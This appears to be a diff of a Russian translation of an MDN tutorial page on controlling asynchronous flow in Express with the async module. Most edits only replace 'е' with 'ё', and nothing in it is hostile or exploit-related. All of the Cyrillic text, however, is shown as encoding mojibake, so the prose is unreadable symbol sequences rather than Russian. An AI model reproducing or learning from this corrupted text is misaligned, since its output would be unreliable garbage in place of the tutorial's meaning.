-<p>Код ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… страниц Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΌΠ½ΠΎΠ³ΠΈΡ… асинхронных запросов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ порядкС ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ выполнСния, ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ страницы, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° вся нСобходимая информация, Π±ΡƒΠ΄Π΅Ρ‚ использован <a class="external external-icon" href="https://www.npmjs.com/package/async" rel="noopener">async</a>Β - извСстный ΠΌΠΎΠ΄ΡƒΠ»ΡŒ node.</p>
+<p>Код ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… страниц Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΌΠ½ΠΎΠ³ΠΈΡ… асинхронных запросов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ порядкС ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ выполнСния, ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ страницы, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° вся нСобходимая информация, Π±ΡƒΠ΄Π΅Ρ‚ использован <a class="external external-icon" href="https://www.npmjs.com/package/async" rel="noopener">async</a>Β - извСстный ΠΌΠΎΠ΄ΡƒΠ»ΡŒ node.</p>
<div class="note">
<p><strong>Note:</strong>Β  Π’ JavaScript сущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… способов управлСния асинхронным ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ выполнСния, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π°ΠΊΠΎΠΉ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ  Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт языка JacaScript ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Techniques/Promises">Promises</a>Β (обСщания, промисы).</p>
@@ -17,12 +17,12 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
<ul>
<li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> для осущСствлСния Π»ΡŽΠ±Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ.</li>
<li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> Ссли Π½ΡƒΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ асинхронныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</li>
- <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ каТдая опСрация зависит ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ.</li>
+ <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ каТдая опСрация зависит ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ.</li>
</ul>
<h2 class="highlight-spanned" id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_это_Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ"><span class="highlight-span">ΠŸΠΎΡ‡Π΅ΠΌΡƒ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ?</span></h2>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π²Β Β <em>Express</em>Β - <span class="highlight-span">асинхронныС - Π²Ρ‹ опрСдСляСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ, пСрСдавая </span> колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. ΠœΠ΅Ρ‚ΠΎΠ΄ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, а колбэк-функция вызываСтся Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»Π°ΡΡŒ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Π°Ρ опСрация. По соглашСнию, принятому Π²Β <em>Express</em>, колбэк-функция ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ошибки <em>error</em>Β  ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β (ΠΈΠ»ΠΈ <code>null</code>Β ΠΏΡ€ΠΈ успСхС) ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ (Ссли Π΅ΡΡ‚ΡŒ) ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€.</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π²Β Β <em>Express</em>Β - <span class="highlight-span">асинхронныС - Π²Ρ‹ опрСдСляСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ, пСрСдавая </span> колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. ΠœΠ΅Ρ‚ΠΎΠ΄ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, а колбэк-функция вызываСтся Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»Π°ΡΡŒ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Π°Ρ опСрация. По соглашСнию, принятому Π²Β <em>Express</em>, колбэк-функция ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ошибки <em>error</em>Β  ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β (ΠΈΠ»ΠΈ <code>null</code>Β ΠΏΡ€ΠΈ успСхС) ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ (Ссли Π΅ΡΡ‚ΡŒ) ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€.</p>
<p>Если контроллСр Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для прСдставлСния страницы, Ρ‚ΠΎ рСализация проста - ΠΌΡ‹ просто прСдставляСм шаблон Π² колбэкС. Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° (Π½ΠΈΠΆΠ΅) дСмонстрируСт это для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая подсчитываСт количСство элСмСнтов ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <code>SomeModel</code> (примСняя ΠΌΠ΅Ρ‚ΠΎΠ΄Β Mongoose <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.count" rel="noopener">count()</a></code> ):</p>
@@ -37,9 +37,9 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
<code>}</code>
</pre>
-<p>Однако Ρ‡Ρ‚ΠΎ, Ссли трСбуСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ <strong>мноТСствСнныС</strong> асинхронныС запросы, ΠΈΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ нСльзя ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈΡΡŒ всС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ? Наивная рСализация ΠΌΠΎΠ³Π»Π° Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ "Π²Π΅Π½ΠΎΠΊ" запросов, запуская ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ запросы Π² колбэках ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ…, ΠΈ прСдставляя ΠΎΡ‚Π²Π΅Ρ‚ Π² послСднСм колбэкС. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ запросы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, хотя, вСроятно, Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π±ΠΎΠ»Π΅Π΅ эффСктивно Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΈΡ… ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ услоТнСнному Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π°Π΄ΠΎΠΌ колбэков (Β <a class="external external-icon" href="http://callbackhell.com/" rel="noopener">callback hell</a>Β ).</p>
+<p>Однако Ρ‡Ρ‚ΠΎ, Ссли трСбуСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ <strong>мноТСствСнныС</strong> асинхронныС запросы, ΠΈΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ нСльзя ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈΡΡŒ всС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ? Наивная рСализация ΠΌΠΎΠ³Π»Π° Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ "Π²Π΅Π½ΠΎΠΊ" запросов, запуская ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ запросы Π² колбэках ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ…, ΠΈ прСдставляя ΠΎΡ‚Π²Π΅Ρ‚ Π² послСднСм колбэкС. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ запросы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, хотя, вСроятно, Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π±ΠΎΠ»Π΅Π΅ эффСктивно Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΈΡ… ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ услоТнённому Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π°Π΄ΠΎΠΌ колбэков (Β <a class="external external-icon" href="http://callbackhell.com/" rel="noopener">callback hell</a>Β ).</p>
-<p>Намного Π»ΡƒΡ‡ΡˆΠ΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ всС запросы ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ, ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ вызвана послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ всС запросы Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹. ИмСнно Ρ‚Π°ΠΊΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ <em>Async</em>Β Π΄Π΅Π»Π°Π΅Ρ‚ Π»Π΅Π³ΠΊΠΈΠΌ ΠΈ простым!</p>
+<p>Намного Π»ΡƒΡ‡ΡˆΠ΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ всС запросы ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ, ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ вызвана послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ всС запросы Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹. ИмСнно Ρ‚Π°ΠΊΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ <em>Async</em>Β Π΄Π΅Π»Π°Π΅Ρ‚ Π»Ρ‘Π³ΠΊΠΈΠΌ ΠΈ простым!</p>
<h2 class="highlight-spanned" id="ΠŸΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Π΅_асинхронныС_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ"><span class="highlight-span">ΠŸΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Π΅ асинхронныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ</span></h2>
@@ -47,7 +47,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π²Β <code>async.parallel()</code>Β - это коллСкция асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ трСбуСтся Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ (массив, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт). КаТдая функция ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>callback(err, result)</code>Β , ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ, с ошибкой <code>err</code> (ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <code>null</code>) ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°Β <code>results</code>.</p>
-<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для  <code>async.parallel()</code>Β - это callback -функция, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ всСх Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚Π° функция вызываСтся с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ошибки ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ - ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠ΅ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. Π’ΠΈΠΏ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ - Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Ρ‚ΠΈΠΏ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° async.parallel (Ρ‚.Π΅. Ссли пСрСдаСтся <em>массив</em> асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, итоговая колбэк-функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° с <em>массивом</em>Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²). Если любая ΠΈΠ· ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ сообщила ΠΎΠ± ошибкС, сразу вызываСтся итоговая колбэк-функция, которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</p>
+<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для  <code>async.parallel()</code>Β - это callback -функция, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ всСх Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚Π° функция вызываСтся с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ошибки ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ - ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠ΅ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. Π’ΠΈΠΏ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ - Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Ρ‚ΠΈΠΏ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° async.parallel (Ρ‚.Π΅. Ссли пСрСдаётся <em>массив</em> асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, итоговая колбэк-функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° с <em>массивом</em>Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²). Если любая ΠΈΠ· ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ сообщила ΠΎΠ± ошибкС, сразу вызываСтся итоговая колбэк-функция, которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² случаС, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Как Π²ΠΈΠ΄Π½ΠΎ, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ с Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ свойств, ΠΊΠ°ΠΊ Ρƒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
@@ -67,7 +67,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
